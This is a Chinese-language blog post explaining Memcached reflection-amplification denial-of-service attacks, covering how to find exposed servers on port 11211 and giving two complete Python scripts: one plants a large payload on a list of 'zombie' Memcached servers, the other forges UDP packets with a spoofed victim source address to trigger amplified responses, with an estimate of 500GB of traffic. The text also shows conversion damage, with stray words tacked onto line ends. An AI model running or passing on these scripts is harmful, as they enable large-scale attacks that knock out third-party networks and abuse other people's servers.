本次反射式拒絕服務攻擊技術基於全球互聯網分佈式的Memcached服務器,須要儲備必定得安全攻防知識,網絡協議知識和python代碼編程技術。但願在學習本篇文章知識前自行學習相關的基礎知識,文章後面同時附有參考連接。python
關於Memcached系統
Memcached是一個自由開源的,高性能,分佈式內存對象緩存系統。Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric爲首開發的一款軟件。如今已成爲mixi、hatena、Facebook、Vox、LiveJournal等衆多服務中提升Web應用擴展性的重要因素。Memcached是一種基於內存的key-value存儲,用來存儲小塊的任意數據(字符串、對象)。這些數據能夠是數據庫調用、API調用或者是頁面渲染的結果。Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大數據量緩存的不少問題。它的API兼容大部分流行的開發語言。本質上,它是一個簡潔的key-value存儲系統。通常的使用目的是,經過緩存數據庫查詢結果,減小數據庫訪問次數,以提升動態Web應用的速度、提升可擴展性。數據庫
關於分佈式DDoS原理
分佈式拒絕服務(DDoS:Distributed Denial of Service)攻擊指藉助於客戶/服務器技術,將多個計算機聯合起來做爲攻擊平臺,對一個或多個目標發動DDoS攻擊,從而成倍地提升拒絕服務攻擊的威力。一般,攻擊者使用一個偷竊賬號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通信,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內激活成百上千次代理程序的運行。編程
關於反射式DRDoS原理
DRDoS是英文「Distributed Reflection Denial of Service 」的縮寫,中文意思是「分佈式反射拒絕服務」。與DoS、DDoS不一樣,該方式靠的是發送大量帶有被害者IP地址的數據包給攻擊主機,而後攻擊主機對IP地址源作出大量回應,造成拒絕服務攻擊。緩存
攻擊流程
DDoS攻擊流程
要完成這個攻擊流程,得至少須要三個步驟。安全
1 攻擊者手裏必須控制大量肉雞機器,而且分佈式在互聯互通分佈在互聯上。服務器
2 攻擊者隨時能夠經過代理或者控制程序同時向全部肉雞發送大量攻擊指令。網絡
3 全部肉雞在接受指令後,同時大量併發,同時向受害者網絡或者主機發起攻擊行爲。多線程
DRDoS攻擊流程
DRDoS要完成一次反射放大攻擊:併發
1 攻擊者,必須提早須要把攻擊數據存放在全部的在線肉雞或者反射服務器之上。app
2 攻擊者,必須僞造IP源頭。發送海量僞造IP來源的請求。固然這裏的IP就是受害者的IP地址。
3 反射服務器,必須能夠反射數據,運行良好穩定。最好是請求數據少,返回數據成萬倍增長。
如此不斷循環,就能夠大規模攻擊其帶寬網絡,增長佔用率和耗損目標機的硬件資源。
利用Memcached實現的DRDos攻擊反射流程
存活機器
首先咱們要找到大量反射服務器,利用搜索引擎去發掘全球可利用在線服務器。這裏我暫時用zoomeye進行蒐集,你也能夠用別的搜索引擎,好比shodan等。默認開啓端口號是11211,利用知道創宇得鍾馗之眼空間引擎搜索到全球538317臺機器開啓11211端口,運行着Memcached緩存服務系統。可是利用條件還有一個,就是咱們還得進一步帥選確認是否開啓默承認以登陸的機器,這樣就能夠被咱們所利用了。有些已經設置了安全認證,那麼就沒法使用了。(全網公開跑下來五萬多臺服務器,其中有效驗證可利用的有一千多臺,這裏就不公佈了)
通訊協議
從協議看,memcache同時監聽tcp和udp。也就是說它自己支持兩種協議同時能夠發起交互和通訊。這個就很關鍵了。你們能夠看看tcp和udp協議區別。因爲TCP是字節流,沒有包的邊界,無所謂大小,一次發送接受的數據取決於實現以及你的發送接收緩存大小。
TCP沒有限定,TCP包頭中就沒有「包長度」字段,而徹底依靠IP層去處理分幀。
可是UDP協議就不同了,他不基於鏈接,直接發送數據報到目標機器。
注意這個Length字段,只佔有兩個字節。因此說UDP協議發送數據就有了限制,單次最大發送2^16=65535=64KB。
若是想要發送更大數據包,那麼只能使用TCP協議或者UDP屢次發送來實現,這裏我已經測試過,兩種協議都可以實現。
小結:
一、TCP面向鏈接(如打電話要先撥號創建鏈接);UDP是無鏈接的,即發送數據以前不須要創建鏈接。
二、TCP提供可靠的服務。也就是說,經過TCP鏈接傳送的數據,無差錯,不丟失,不重複,且按序到達;UDP盡最大努力交 付,即不保證可靠交付。
三、TCP面向字節流,其實是TCP把數據當作一連串無結構的字節流;UDP是面向報文的。UDP沒有擁塞控制,所以網絡出 現擁塞不會使源主機的發送速率下降(對實時應用頗有用,如IP電話,實時視頻會議等)。
四、每一條TCP鏈接只能是點到點的;UDP支持一對一,一對多,多對一和多對多的交互通訊。
五、TCP首部開銷20字節;UDP的首部開銷小,只有8個字節。
六、TCP的邏輯通訊信道是全雙工的可靠信道,UDP則是不可靠信道。
好了,明白了這個,咱們就看看怎麼利用基於TCP和UDP協議通訊的Memcached緩存系統。因爲Memcached系統支持最大鍵值單數據對1M存儲。因此咱們最大隻能存儲1M,固然你能夠做多個字段,這樣也會放大。那首先按照流程圖咱們向遠程服務器提早存儲有效載荷,這裏就是數據了。利用TCP協議能夠一次性發1M,可是咱們要是利用UDP就得循環發送屢次才能完成1M數據傳輸。因爲UDP具備不穩定性,數據包不保證可靠交付。這裏我建議使用TCP進行發送。
數據格式
Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大數據量緩存的不少問題。它的API兼容大部分流行的開發語言。本質上,它是一個簡潔的key-value存儲系統。
通常的使用目的是,經過緩存數據庫查詢結果,減小數據庫訪問次數,以提升動態Web應用的速度、提升可擴展性。
支持有以下全部命令和操做。
Memcached 存儲命令
Memcached set 命令
Memcached add 命令
Memcached replace 命令
Memcached append 命令
Memcached prepend 命令
Memcached CAS 命令
Memcached 查找命令
Memcached get 命令
Memcached gets 命令
Memcached delete 命令
Memcached incr/decr 命令
Memcached 統計命令
Memcached stats 命令
Memcached stats items 命令
Memcached stats slabs 命令
Memcached stats sizes 命令
Memcached flush_all 命令
這裏咱們重點介紹三種命令,由於咱們的攻擊流程中將會涉及了這三種方式。
第一個是上傳有效載荷Memcached set 命令
Memcached set 命令用於將 value(數據值) 存儲在指定的 key(鍵) 中。
若是set的key已經存在,該命令能夠更新該key所對應的原來的數據,也就是實現更新的做用。
set 命令的基本語法格式以下:
set key flags exptime bytes [noreply] value
參數說明以下:
- key:鍵值 key-value 結構中的 key,用於查找緩存值。
- flags:能夠包括鍵值對的整型參數,客戶機使用它存儲關於鍵值對的額外信息 。
- exptime:在緩存中保存鍵值對的時間長度(以秒爲單位,0 表示永遠)
- bytes:在緩存中存儲的字節數
- noreply(可選): 該參數告知服務器不須要返回數據
- value:存儲的值(始終位於第二行)(可直接理解爲key-value結構中的value)
第二個反射有效載荷Memcached get 命令
Memcached get 命令獲取存儲在 key(鍵) 中的 value(數據值) ,若是 key 不存在,則返回空。
get 命令的基本語法格式以下:
get key
多個 key 使用空格隔開,以下:
get key1 key2 key3
參數說明以下:
- key:鍵值 key-value 結構中的 key,用於查找緩存值。
第三個是退出遠程服務器。quit\r\n命令便可,沒有任何參數,注意要有回車換行。
攻擊步驟
自動化上傳有效載荷
到了這裏,咱們接下來就是如何利用這個過程實現DRDoS反射拒絕服務攻擊。
思路是這樣的:咱們先批量上傳指定數據到遠程開放服務器Memcached上面,而後咱們再去Memcached服務器請求查詢數據上一步存儲的數據,(這一步很關鍵,咱們只能利用UDP協議進行反射,後面說明一下爲何。)這樣就能夠將數據經過Memcached服務器反射到目標受害機器上了。這裏咱們能夠本身手動編寫程序實現批量自動化上傳有效載荷到遠程服務器,等待上傳完了咱們就能夠進行UDP反射攻擊了。
這裏我用python腳本完成payload數據上傳。
# -*- coding: UTF-8 -*- ''' Created on 2018.02.06 @author: 5t4rk ''' #!/usr/bin/python import random import sys import socket socket_timeout = 10.0 bullets_size = 10 * 1000 def reload_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def random_int_char(i): try: temp = random.randint(0, 2) if temp == 0: return '%c' % (random.randint(0, 9) + 0x30) elif temp == 1: return '%c' % (random.randint(0, 25) + 0x41) else : return '%c' % (random.randint(0, 25) + 0x61) except Exception, e: print e.message def prepare_random_data(size_bytes, times): try: print '[random data : %8d times ]' % (times + 1) remote_data = '' for i in range(0, size_bytes): remote_data = remote_data + (random_int_char(i)) return remote_data.upper() except Exception, e: print e.message def tcp_weapon_function(mem_address, mem_port, data, reload_counts): if (not mem_address): return False if (len(data) < 1): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() server_address = (mem_address, mem_port) # send sclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sclient.settimeout(socket_timeout) sclient.connect(server_address) print "[current num : %8d zombie]" % reload_counts print "[sending size: %8d bytes ]\t" % len(data), "[address :\t %14s ]" % mem_address reload_counts = reload_counts + 1 # send count = sclient.send(data) if count > 1: result = sclient.recv(1024) if not result: print "[No response]" return False result = result.rstrip('\n') result = result.rstrip('\r\n') print "[sended size: %8d bytes ]\t" % count, "[received:\t %14s ]" % result # quit count = sclient.send("quit\r\n") if count > 1: print "[sended size: %8d bytes ]\t" % count, "[received:\t QUIT SUCCESSED ]" sclient.close() except Exception, e: print "[error :", e.message, "]" sclient.close() return True if __name__ == '__main__': zombies_list = [] current_index = 0 command = 0 if len(sys.argv) == 5: path = sys.argv[1] command = int(sys.argv[2]) bullets_size = int(sys.argv[3]) socket_timeout = float(sys.argv[4]) reload_zombies_list(path) elif len(sys.argv) == 3: path = sys.argv[1] command = int(sys.argv[2]) reload_zombies_list(path) else: print "Example:\t" print "\tweapon.py server.txt 1 byte_size timeout" print "\tweapon.py server.txt 2" print "\t<command> 1 ddos memcache set" print "\t<command> 2 ddos memcache delete" print "\t<command> 3 ddos payload size" print "\t<command> 4 ddos time out (seconds)" exit() while current_index < len(zombies_list): try: if command == 1: random_value = prepare_random_data(bullets_size, current_index) action_data = "set anVzdGF0ZXN0 0 0 %d\r\n" % len(random_value) + random_value + "\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) elif command == 2: action_data = "delete anVzdGF0ZXN0\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) else: print "error command" action_data = "" except KeyboardInterrupt, e: print "[error : script stopped [ctrl + c]...]" except Exception, e: print "[error :", e.message, "]" current_index = current_index + 1 pass
輸出結果
自動化反射有效載荷
這裏得注意一下,上面的自動化上傳我使用了TCP協議發送數據包,反射我必須使用UDP協議。由於只有UDP協議是基於無鏈接的,這樣咱們直接發送數據到目標服務器,不須要進行三次握手。同時服務器接收方也沒法驗證客戶源IP,所以這個過程咱們才能夠利用UDP僞造源地址,實現反射DRDoS攻擊過程。
利用socket和scapy庫開發,採用多線程進行循環請求。(特別注意UDP協議使用的時候,每一個操做命令必須都要添加數據包結構要加頭部8字節標誌位, "\x00\x00\x00\x00\x00\x01\x00\x00")
這裏使用python腳本完成反射攻擊。
# -*- coding: UTF-8 -*- ''' Created on 2018.02.26 @author: 5t4rk ''' #!/usr/bin/python from scapy.all import * import sys import threading victim_address = "192.168.31.7" victim_port = 80 def udp_forge_packets(mem_address, mem_port, target_address, target_port, payload): pkt = scapy.all.IP(dst=mem_address, src=target_address) / scapy.all.UDP(sport=target_port, dport=mem_port) / payload send(pkt, inter=1, count=3) def ddos_attack_targets(mem_address, mem_port, target_address, target_port, payload, index): global total_times total_times = total_times + 1 if (not mem_address): return False if (not mem_port): return False if (not target_address): return False if (not target_port): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() target_address = target_address.strip('\n') target_address = target_address.strip('\r\n') target_address = target_address.strip() # send udp_forge_packets(mem_address, mem_port, target_address, target_port, payload) print "[count: %5d]" % total_times, "[index: %5d ]" % index, "[address: %s]" % mem_address except Exception, e: print "[error :", e.message, "]" return True def load_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def banner_help(): print''' ---------------------------------------------------------- _____ _ ___ _ | ___| | / | | | |___ \| |_ / /| |_ __| | __ \ \ __/ /_| | '__| |/ / /\__/ / |_\___ | | | < \____/ \__| |_/_| |_|\_\ ---------------------------------------------------------- ''' print "Example:\t" print "\tmt_attack_ddos.py server.txt 10 1" print "\t<path> <thread> <times>" print "\t<option1> 1 server.txt" print "\t<option2> 2 ddos thread" print "\t<option3> 3 ddos times" print "----------------------------------------------------------" def thread_process(start_index, end_index, times=1): keep = start_index loop = times while loop > 0: while start_index < end_index: try: payload = "\x00\x00\x00\x00\x00\x01\x00\x00get anVzdGF0ZXN0\r\n" mem_address = zombies_list[start_index] mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() ddos_attack_targets(mem_address, 11211, victim_address, victim_port, payload, start_index) start_index = start_index + 1 except Exception, e: start_index = start_index + 1 loop = loop - 1 start_index = keep def create_thread(thread_num=10, attack_times=2): threads = [] try: total = len(zombies_list) mod = int(total % thread_num) remain = int(total / thread_num) for i in range(thread_num): if mod == 0: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i else: if i == thread_num - 1: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain + mod, attack_times)) print 'thread %d start ' % i else: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i threads.append(t) for each in threads: each.start() each.join() except KeyboardInterrupt, e: print "Ctrl-c pressed ..." sys.exit(1) except Exception, e: print e.message if __name__ == '__main__': zombies_list = [] total_times = 0 if len(sys.argv) == 4: load_zombies_list(sys.argv[1]) create_thread(int(sys.argv[2]), int(sys.argv[3])) else: banner_help() exit() pass
輸出,能夠實現
測試wireshark抓包
這裏不妨能夠進行一個大概理論計算
好比單臺服務器咱們雖然只發送的攻擊指令只有二十個字節數據,但卻能夠返回1M數據。1M/20=5W(5萬倍放大率),這可謂四兩撥千斤。假設理想情況下咱們如今手裏有50W可用機器,那麼咱們的DRDoS理論值數值將會達到約50W*1M=500GB。你們想一想這個是多麼恐怖的帶寬和數據。如今目前國內可以抵禦短期發起這麼大的DDoS攻擊的,幾乎沒有。好比去年攻擊阿里雲超過14小時,峯值流量達到453.8G。而DRDos能夠只須要一分鐘就能實現高達500G流量,這將是多麼可怕的事情,多大的災難。
總結體會
關於這項DRDoS技術通過幾天摸索研究也算已經瞭解清楚了,可是測試中發現有的網絡環境裏面會被一些路由器糾正源地址,使得反射攻擊失敗。究其緣由是由於其增長的uRPF機制,(Unicast Reverse Path Forwarding是一種單播反向路由查找技術,用於防止基於源地址欺騙的網絡攻擊行爲。)從新修復了UDP源地址僞造。不過有些環境中沒有這種機制的,那麼咱們就能夠利用此方法實現攻擊。在這裏分享給你們,但願能夠有人繼續深刻分析和鑽研,其中涉及利用的思路和技巧也可學習學習。好比說利用其免費的互聯網存儲資源,將你的數據源進行分佈式存儲,當作你的分佈式私密雲盤。